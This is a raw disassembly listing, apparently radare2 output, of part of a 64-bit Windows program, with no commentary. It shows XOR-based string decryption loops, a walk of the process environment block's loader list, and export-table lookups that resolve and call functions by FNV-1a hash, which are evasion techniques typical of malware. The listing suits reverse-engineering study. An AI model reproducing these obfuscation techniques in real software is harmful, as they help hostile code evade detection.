inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x25
jl 0x1400148f0
mov dword [rsp + 0x20], 1
mov r9d, 0x40
mov r8d, Ordinal_35
lea rdx, [rbp + 0x1160]
lea rcx, [rbp + 0x3d00]
call fcn.14001ab20
nop
mov r8, qword [rbp + 0x2658]
mov rdx, qword [rbp + 0x2650]
sub r8, rdx
lea rcx, [rbp + 0x38c0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x25b0]
mov rdx, qword [rbp + 0x25a8]
sub r8, rdx
lea rcx, [rbp + 0x39d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x2598]
mov rdx, qword [rbp + 0x2590]
sub r8, rdx
lea rcx, [rbp + 0x3ae0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x2580]
mov rdx, qword [rbp + 0x2578]
sub r8, rdx
lea rcx, [rbp + 0x3bf0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov r8, qword [rbp + 0x2568]
mov rdx, qword [rbp + 0x2560]
sub r8, rdx
lea rcx, [rbp + 0x3d00]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x38c0]
call fcn.14001aa20
lea rcx, [rbp + 0x39d0]
call fcn.14001aa20
lea rcx, [rbp + 0x3ae0]
call fcn.14001aa20
lea rcx, [rbp + 0x3bf0]
call fcn.14001aa20
lea rcx, [rbp + 0x3d00]
call fcn.14001aa20
movups xmm0, xmmword [0x1400924a8]
movups xmmword [rbp + 0x1710], xmm0
movups xmm1, xmmword [0x1400924b8]
movups xmmword [rbp + 0x1720], xmm1
movsd xmm0, qword [0x1400924c8]
movsd qword [rbp + 0x1730], xmm0
movzx eax, byte [0x1400924d0]
mov byte [rbp + 0x1738], al
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140014b73
movdqa xmmword [rbp + 0x100], xmm10
lea rcx, [rbp + 0x1714]
mov edx, dword [rbp + 0x100]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140014a80
movsxd rax, r8d
lea r9, [rbp + 0x1710]
add r9, rax
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x29
jl 0x140014b80
xor eax, eax
mov byte [rbp - 0x6c], al
lea rdx, [rbp - 0x3c]
lea rcx, [rbp - 0x6c]
call fcn.140018fa0
mov rsi, rax
cmp byte [rax + 3], 0
je 0x140018c85
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140018c3c
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm7, xmm0
andps xmm7, xmm8
packuswb xmm7, xmm7
packuswb xmm7, xmm7
paddb xmm7, xmm10
movd xmm0, dword [rax]
xorps xmm7, xmm0
movd dword [rax], xmm7
jmp 0x140018c85
mov r8, rsi
xor r9d, r9d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x39
add cl, r9b
xor byte [r8], cl
inc r9d
lea r8, [r8 + 1]
cmp r9d, 4
jl 0x140018c50
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018d16
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018d16
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xa42f2e73
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140018d11
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140018cf0
cmp r8d, 0x7c0fe4fa
je 0x140018d1b
test r9d, r9d
jne 0x140018cd0
mov rax, qword [rax]
jmp 0x140018ca0
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rdx + rax*4]
add rdx, r10
mov rcx, rsi
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140018dc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140018dc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x821e25c7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140018dc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140018da0
cmp r8d, 0xccdeb007
je 0x140018dcb
test r9d, r9d
jne 0x140018d80
mov rax, qword [rax]
jmp 0x140018d50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
nop
lea rcx, [rbp + 0x2748]
call fcn.14001af70
nop
lea rcx, [rbp + 0x3e10]
call fcn.140019a70
xor eax, eax
mov rcx, qword [rbp + 0x4090]
xor rcx, rsp
call fcn.1400801f0
lea r11, [rsp + 0x4200]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret